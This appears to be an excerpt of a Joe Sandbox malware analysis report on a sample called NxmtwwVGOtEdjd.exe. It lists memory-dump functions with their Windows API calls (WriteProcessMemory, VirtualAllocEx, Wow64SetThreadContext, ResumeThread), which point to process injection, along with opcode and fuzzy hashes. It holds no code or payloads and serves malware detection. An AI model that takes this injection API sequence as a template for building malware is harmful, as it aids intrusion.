Opcode ID: 48bcdcb7e324dbb28c70305a26478cede9a8c0b3938963ab890cf682460dbf13
Instruction ID: 916363b6e98c10fbff540c3c0ba1abf91674f182e00ed0eaa47b7cd9bafe4bad
Opcode Fuzzy Hash: 48bcdcb7e324dbb28c70305a26478cede9a8c0b3938963ab890cf682460dbf13
Instruction Fuzzy Hash: 4A31A9B68043988FDB00DFA9C8556EEBFF4EF59310F04806AC494AB252C274A549CFA5

Function 0795B430 Relevance: 1.6, APIs: 1, Instructions: 72
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0795D2DD

Memory Dump Source

Source File: 0000000A.00000002.1790761888.0000000007950000.00000040.00000800.00020000.00000000.sdmp, Offset: 07950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7950000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 18f7f0fa9698bf86e7dd122b786dc3626a465ca1e1891cd4afe2f33d3cf70b2a
Instruction ID: d6e00a064ce4b0fb4c5b3a53fb3ae7488b19c9e1faaacbcc3dd6dd51a44d9498
Opcode Fuzzy Hash: 18f7f0fa9698bf86e7dd122b786dc3626a465ca1e1891cd4afe2f33d3cf70b2a
Instruction Fuzzy Hash: 2F21ABF28043688FDB11DFA9C4957CABFB8EB58324F14845AD894B7320D374A584CBA5

Function 07959450 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 079594E0

Memory Dump Source

Source File: 0000000A.00000002.1790761888.0000000007950000.00000040.00000800.00020000.00000000.sdmp, Offset: 07950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7950000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: bf1690bcc6df9985acb7210949cba9314f782b5b7b9bef52192547b88c053b15
Instruction ID: d4014a61c949c2a8026eb28d2dc176d32254ba347a5fb58534595cf6073e54de
Opcode Fuzzy Hash: bf1690bcc6df9985acb7210949cba9314f782b5b7b9bef52192547b88c053b15
Instruction Fuzzy Hash: 442139B1900359DFDB10CFAAC885BDEBBF5FF48324F108429E958A7250C778A944CBA4

Function 07959448 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 079594E0

Memory Dump Source

Source File: 0000000A.00000002.1790761888.0000000007950000.00000040.00000800.00020000.00000000.sdmp, Offset: 07950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7950000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 1928e80d221ff8149418a11387dda0d02060e543c20ff7ecd2bc3678158c3582
Instruction ID: 805ae22027f4947acbb61393bd847cd51cc007f3c247427df73b8467cded7756
Opcode Fuzzy Hash: 1928e80d221ff8149418a11387dda0d02060e543c20ff7ecd2bc3678158c3582
Instruction Fuzzy Hash: 7C2148B5900359DFDB10CFA9C8817EEBBF5FF48324F108429E958A7251C7749944CB64

Function 030CC9A0 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,030CD2C6,?,?,?,?,?), ref: 030CD387

Memory Dump Source

Source File: 0000000A.00000002.1786567199.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_30c0000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: fe19ff9991aa8979027c1811860f683975bfc5fe137270627fbce9b9ea5b74c7
Instruction ID: 3e44d7503041c274f33f685b8a65c6d3e44da388e84fdabaa30cd9d3331b763f
Opcode Fuzzy Hash: fe19ff9991aa8979027c1811860f683975bfc5fe137270627fbce9b9ea5b74c7
Instruction Fuzzy Hash: 7821E3B5901348AFDB10CF9AD984ADEBBF4EB48310F14842AE918B7350D375A950CFA4

Function 07959538 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 079595C0

Memory Dump Source

Source File: 0000000A.00000002.1790761888.0000000007950000.00000040.00000800.00020000.00000000.sdmp, Offset: 07950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7950000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 3eee7e5728e44c7c25a6826bf2220baaecb0f0aea0d0310fa112db9573a6c2f9
Instruction ID: 58a52bb31b3a6ab64023ac93b0f7bbbd593c58eece79be2a2548114cc4d67d17
Opcode Fuzzy Hash: 3eee7e5728e44c7c25a6826bf2220baaecb0f0aea0d0310fa112db9573a6c2f9
Instruction Fuzzy Hash: BA2136B1D003599FDB10CFA9C841BEEBBF4FF48324F10842AE958A7250C7389555CB64

Function 07959540 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 079595C0

Memory Dump Source

Source File: 0000000A.00000002.1790761888.0000000007950000.00000040.00000800.00020000.00000000.sdmp, Offset: 07950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7950000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: b9022bf7d15183bb6b3f7e6ed65f485574c00857ba27ba919b45bb638c7b0851
Instruction ID: 73f3a41aaa75f27ce230db3f924b72eba10ef59df3c794b69b7ce8ac2394d2da
Opcode Fuzzy Hash: b9022bf7d15183bb6b3f7e6ed65f485574c00857ba27ba919b45bb638c7b0851
Instruction Fuzzy Hash: 1C2128B19003599FDB10DFAAC841BDEFBF5FF48320F508429E959A7250C734A955CBA4

Function 07958A48 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07958AC6

Memory Dump Source

Source File: 0000000A.00000002.1790761888.0000000007950000.00000040.00000800.00020000.00000000.sdmp, Offset: 07950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7950000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1f12421466b856529c0d6c3c17b73afc49a9390d8991c2a02ee564771d603189
Instruction ID: 5eb2f57129469154ddd8c25487898ab48b02fb5e89e573d87f3f773f5cb2d05f
Opcode Fuzzy Hash: 1f12421466b856529c0d6c3c17b73afc49a9390d8991c2a02ee564771d603189
Instruction Fuzzy Hash: 5D2149B1D003198FDB10DFAAC485BEEBBF4EF88324F148429D459A7241C778A944CFA4

Function 07958A42 Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07958AC6

Memory Dump Source

Source File: 0000000A.00000002.1790761888.0000000007950000.00000040.00000800.00020000.00000000.sdmp, Offset: 07950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7950000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: c3cea671ac348354eb954858302162bfd1700782c4644dfc7ddb818fdb4cdf90
Instruction ID: 01885a4f97e7b1472b7be9b9ed1c3216e297520416124aa3f949b64ea4dadb54
Opcode Fuzzy Hash: c3cea671ac348354eb954858302162bfd1700782c4644dfc7ddb818fdb4cdf90
Instruction Fuzzy Hash: B62138B1D002198FDB10DFA9C585BEEBBF4EF48314F14842AD559B7241C778A945CFA4

Function 030CD2F8 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,030CD2C6,?,?,?,?,?), ref: 030CD387

Memory Dump Source

Source File: 0000000A.00000002.1786567199.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_30c0000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a85b01b9ee5192b858b217047dcc0b9402a3689410251177d17f09941128d83c
Instruction ID: 4577b20f00ba7a3ae44957a74c6415f857f3693a1a4f464725c27160fe05d5e1
Opcode Fuzzy Hash: a85b01b9ee5192b858b217047dcc0b9402a3689410251177d17f09941128d83c
Instruction Fuzzy Hash: 4921E3B59002589FDB10CFA9D585ADEFBF5FB48310F14841AE918B7250D374A940CFA4

Function 030CA870 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,030CB101,00000800,00000000,00000000), ref: 030CB312

Memory Dump Source

Source File: 0000000A.00000002.1786567199.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_30c0000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a8fcd57beb1f8a0c63d1ce04a82730d58e9be3ce3b922f496ead0107599d5018
Instruction ID: 75e0f8461c2b3ea031e78c3c95be544b4eac8fd4173414f3db0ad3eb7d946eda
Opcode Fuzzy Hash: a8fcd57beb1f8a0c63d1ce04a82730d58e9be3ce3b922f496ead0107599d5018
Instruction Fuzzy Hash: 0E1112B69003489FDB10CF9AC445AEEFBF8EB48310F14842EE829B7210C375A945CFA5

Function 07959390 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 079593FE

Memory Dump Source

Source File: 0000000A.00000002.1790761888.0000000007950000.00000040.00000800.00020000.00000000.sdmp, Offset: 07950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7950000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2a45cdb6bb1e9c040012f67c86ee09d3a5f1b880c72b128bd01e1ef2e230b0fe
Instruction ID: e8d703e83a3263527d7e2af66f5a0589068e6b5f1ddbd3cc46731836717f5317
Opcode Fuzzy Hash: 2a45cdb6bb1e9c040012f67c86ee09d3a5f1b880c72b128bd01e1ef2e230b0fe
Instruction Fuzzy Hash: 5F1167B1800259DFDB10DFAAC844BEEBFF5EF88324F208419E519A7250C735A940CFA4

Function 07959388 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 079593FE

Memory Dump Source

Source File: 0000000A.00000002.1790761888.0000000007950000.00000040.00000800.00020000.00000000.sdmp, Offset: 07950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7950000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 46cb638ba8966b5d2edee00e7adee9410d83664a6d8e3bcf28bc9d94cd5020b5
Instruction ID: feb7788377bf337a342b4e0df9d12a721a1b042c24809c08275c4a75de968b38
Opcode Fuzzy Hash: 46cb638ba8966b5d2edee00e7adee9410d83664a6d8e3bcf28bc9d94cd5020b5
Instruction Fuzzy Hash: 4B1156B6900259CFDB10CFA9C845BEEBBF5AF48324F248819D569B7250C735A944CFA4

Function 030CB2A1 Relevance: 1.6, APIs: 1, Instructions: 51libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,030CB101,00000800,00000000,00000000), ref: 030CB312

Memory Dump Source

Source File: 0000000A.00000002.1786567199.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_30c0000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ea9d3a08629f7e0ffb6817c67362eda6594166009289011a3d3b9de762b865e9
Instruction ID: 1404949d673b3321f89d10b101b2533ebbd838a1387ad837d7a61d7fb1cbcd51
Opcode Fuzzy Hash: ea9d3a08629f7e0ffb6817c67362eda6594166009289011a3d3b9de762b865e9
Instruction Fuzzy Hash: 7611EFB69002498FDB10CF9AD545AEEFBF8EB48320F14852ED869B7210C379A545CFA5

Function 07958998 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 079589FA

Memory Dump Source

Source File: 0000000A.00000002.1790761888.0000000007950000.00000040.00000800.00020000.00000000.sdmp, Offset: 07950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7950000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: ab7f0624b225afb2e063f64b182c11365077148351fe377cf8e9d51510e9cd39
Instruction ID: b602cb8da033d2240016904a441c51d6fedcca4f1a18dd4969a097ed1d6b2499
Opcode Fuzzy Hash: ab7f0624b225afb2e063f64b182c11365077148351fe377cf8e9d51510e9cd39
Instruction Fuzzy Hash: 93113AB19003598FDB10DFAAC4457EEFBF4EB88324F208419D459B7250C775A944CFA5

Function 07958990 Relevance: 1.5, APIs: 1, Instructions: 48threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 079589FA

Memory Dump Source

Source File: 0000000A.00000002.1790761888.0000000007950000.00000040.00000800.00020000.00000000.sdmp, Offset: 07950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7950000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7127b4eb41f1ffc53441db3797330c3a398d649fcc438574573e0eb47c0db324
Instruction ID: bff09863bd498f6688b25a562e6094291873d163d34743c14b57a24edff6a7ac
Opcode Fuzzy Hash: 7127b4eb41f1ffc53441db3797330c3a398d649fcc438574573e0eb47c0db324
Instruction Fuzzy Hash: C71128B19002598FDB14DFA9C4457EEFBF4AF88324F208829C559B7250C7356944CF95

Function 030CB020 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 030CB086

Memory Dump Source

Source File: 0000000A.00000002.1786567199.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_30c0000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 1df7d867020e6eba697abb6e9afe29133b01bad524eca9c23afc343e63eda884
Instruction ID: d73bca39fda80f700b5d8fdb4ad2ec90d031cd3b26ee1bafd73e0aaefc5e1fdb
Opcode Fuzzy Hash: 1df7d867020e6eba697abb6e9afe29133b01bad524eca9c23afc343e63eda884
Instruction Fuzzy Hash: D211DFB5C003498FDB20DF9AC445ADEFBF4AB88224F24846AD869B7210C375A545CFA5

Function 0795B424 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0795D2DD

Memory Dump Source

Source File: 0000000A.00000002.1790761888.0000000007950000.00000040.00000800.00020000.00000000.sdmp, Offset: 07950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7950000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 8e8925d2882e9ca2bf91e7101cfd323815c08b526f0cc551ff5ccdd8f929c910
Instruction ID: dd65ead460535f52164becf73eb1e07debf0229d35bb32dd3809c652859889ca
Opcode Fuzzy Hash: 8e8925d2882e9ca2bf91e7101cfd323815c08b526f0cc551ff5ccdd8f929c910
Instruction Fuzzy Hash: 061103B5900359DFDB10DF9AC485BDEBBF8EB48324F108459E968B7210C375A984CFA5

Function 0795D27F Relevance: 1.5, APIs: 1, Instructions: 42windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0795D2DD

Memory Dump Source

Source File: 0000000A.00000002.1790761888.0000000007950000.00000040.00000800.00020000.00000000.sdmp, Offset: 07950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7950000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: f9c089d638118752d6b4e1b94d3b3d55a93de0ed3fb2c278c44c78e831712f35
Instruction ID: 7b4c8952db9eb38be115aa0f4bd450c38c078c7e5d74fe9fc9720da1856c56a5
Opcode Fuzzy Hash: f9c089d638118752d6b4e1b94d3b3d55a93de0ed3fb2c278c44c78e831712f35
Instruction Fuzzy Hash: 7C1100B5800359DFDB10DF99C585BDEBBF8EB08324F20881AD968B7210C375A984CFA4

Function 0147D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1786013442.000000000147D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0147D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_147d000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17cb34875e3afe7ba79335bba0c7f905e581dcf614238c414735d99b25941c28
Instruction ID: 6bea919c90fd6490c0e65140a73ede901788766d4c47f5295735d3a66b4fbea7
Opcode Fuzzy Hash: 17cb34875e3afe7ba79335bba0c7f905e581dcf614238c414735d99b25941c28
Instruction Fuzzy Hash: 8E210371910240DFDB05DF58D9C0B67BF65FF88318F24C66AE9090B266C336D456CAA1

Function 0147D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1786013442.000000000147D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0147D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_147d000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03b76e4f6f6604f85d4bb606cbd7c07820995dc8c94a8ca0942ee3f79f80f208
Instruction ID: 21cdf9380db341ede86abc67aadcc5c39c0d2b1f727e4f73f9f4e283f41890dc
Opcode Fuzzy Hash: 03b76e4f6f6604f85d4bb606cbd7c07820995dc8c94a8ca0942ee3f79f80f208
Instruction Fuzzy Hash: 2C212471910200DFDB05DF48CAC0B97BF65FF84324F20C17AD9094B266C336E446CAA1

Function 0148D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1786069367.000000000148D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0148D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_148d000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34127002aa4544e30dad05a90b160fbf94bc1d4fbf1346a16371fc11a5a42d6d
Instruction ID: 3819c4672efbf84e0414a1d5419270021744681f37d5fbae1fa35ee8118c3895
Opcode Fuzzy Hash: 34127002aa4544e30dad05a90b160fbf94bc1d4fbf1346a16371fc11a5a42d6d
Instruction Fuzzy Hash: B92125B1904200DFDB15EF58D984B1ABFA5EB85318F20C56ED90A4B3A6C336D447CA61

Function 0148D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1786069367.000000000148D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0148D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_148d000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64c268df9d28f1648248a2d2b79d2ed51dd396f980182a5e23eff34252b6b0b5
Instruction ID: e553d34108bd87114277adb58bd5aee9d78f73a2d01aeeb6bd36d920dc44a856
Opcode Fuzzy Hash: 64c268df9d28f1648248a2d2b79d2ed51dd396f980182a5e23eff34252b6b0b5
Instruction Fuzzy Hash: 9C210771904204DFDB05EF98D9C0B2ABBA5FB84324F20C66ED9094B3A6C336D446CA61

Function 0148D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1786069367.000000000148D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0148D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_148d000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e33dee4b3c1e370b230b64b4fa63a1ea8fbdebbf61a5cb99a13d0c4a4717f26d
Instruction ID: fdcb8991e77b508609af0903857d7c3bbb20f26b30d8825a69442bc1349c9cb9
Opcode Fuzzy Hash: e33dee4b3c1e370b230b64b4fa63a1ea8fbdebbf61a5cb99a13d0c4a4717f26d
Instruction Fuzzy Hash: 41217F755093808FDB02DF64D594716BF71EB46218F28C5DBD8498B2A7C33A980ACB62

Function 0147D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1786013442.000000000147D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0147D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_147d000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 6b6a3b5fe1b35c1a5516b6f3c86dd83b2efe8c2e8addfc2d1190430ceddf3000
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 1411DF72804240DFDB12CF44D9C4B96BF71FF94324F24C2AAD9090B266C33AE45ACBA1

Function 0147D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1786013442.000000000147D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0147D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_147d000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: dd997b71363bf34bd0b79dafbb7640e94279230e74976393c7ad3e994b0e9c5e
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 0F11E172804280CFCB12CF54D9C4B56BF71FF84328F24C6AAD8490B266C336D45ACBA1

Function 0148D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1786069367.000000000148D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0148D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_148d000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 6f99d3725832921e1a378031e1decee740edbbfe610836652896d2ce5b505e53
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: EE11BB75904280DFDB02DF58C5C4B1ABFA1FB84324F24C6AAD8494B3A6C33AD44ACB61

Analysis Process: NxmtwwVGOtEdjd.exePID: 7972, Parent PID: 7680COMMON

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	70
Total number of Limit Nodes:	9

Executed Functions

Function 06307161 Relevance: 1.9, APIs: 1, Instructions: 361
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.2912374781.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6300000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f94b11e5b1403fc0408742d0b0f41f2dd49d1d5158de8c00bc1be99740d703a
Instruction ID: 119c4898ea2e1bfe61786d5ac9052124684b267c84d7ebd4580d47dadb5db26f
Opcode Fuzzy Hash: 2f94b11e5b1403fc0408742d0b0f41f2dd49d1d5158de8c00bc1be99740d703a
Instruction Fuzzy Hash: 95E13E30E00209DFEB54DFA9C954B9DBBF1BF48314F158564E409AF2A5DB70E949CB80

Function 06300F94 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 063032A1

Memory Dump Source

Source File: 0000000F.00000002.2912374781.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6300000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 926fa3a9f03a42a23c9f1b8c8be9efcb25b1c5232bbd2e4862517960cf7272b6
Instruction ID: 9a71b71b4b8cfe2c4090d96c3fd59153acd5406d199cfb34cd64cc62abb7e290
Opcode Fuzzy Hash: 926fa3a9f03a42a23c9f1b8c8be9efcb25b1c5232bbd2e4862517960cf7272b6
Instruction Fuzzy Hash: 7B4147B4A00306DFEB54CF89C448AAABBF9FF88314F24C459D519AB361D735A845CFA0

Function 00FAC110 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00FAC19F

Memory Dump Source

Source File: 0000000F.00000002.2900042021.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_fa0000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 202fd6c861e1c047d1d22a1ad1f9fa7aa4eb7dcb4c05a67c512ec9e4f10e39f4
Instruction ID: 4bb220a785a74ec80322ad9a98e1e7b21769effba14bb127808e2009859f306a
Opcode Fuzzy Hash: 202fd6c861e1c047d1d22a1ad1f9fa7aa4eb7dcb4c05a67c512ec9e4f10e39f4
Instruction Fuzzy Hash: 4621E4B5D00258DFDB10CFA9D984ADEBFF5EB48310F14841AE918A3351D374A944CFA0

Function 00FAC118 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00FAC19F

Memory Dump Source

Source File: 0000000F.00000002.2900042021.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_fa0000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e20f0a561314d4f57b08079ec095c016b1ddfe2468c2656068b39e513d63e551
Instruction ID: 15a8b0c76c29929a9ab9001f57131164494265f9acacb1ea4e5e85a3e44d1def
Opcode Fuzzy Hash: e20f0a561314d4f57b08079ec095c016b1ddfe2468c2656068b39e513d63e551
Instruction Fuzzy Hash: 4321E4B5900248DFDB10CFAAD984ADEFBF4EB48320F14801AE914A3311D374A944CFA4

Function 06306488 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 063064E5

Memory Dump Source

Source File: 0000000F.00000002.2912374781.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6300000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 2bfd9e31a3ca726fc0d53e10c658dece30b433dca3f68e9d95c9297c76860951
Instruction ID: 7f39e792a4723551e8110a47ebf7820d74d5a40b88ee00ecf943e21b4ab7dd22
Opcode Fuzzy Hash: 2bfd9e31a3ca726fc0d53e10c658dece30b433dca3f68e9d95c9297c76860951
Instruction Fuzzy Hash: 5F1142B18003488FCB20DFAAC449BDEFFF8EB48320F24841AD558A7210C374A548CFA4

Function 063053B4 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 063064E5

Memory Dump Source

Source File: 0000000F.00000002.2912374781.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6300000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: c6db9e3be2749e501a95356bc1bce4768b659812004efa444138aee6e61ffd7d
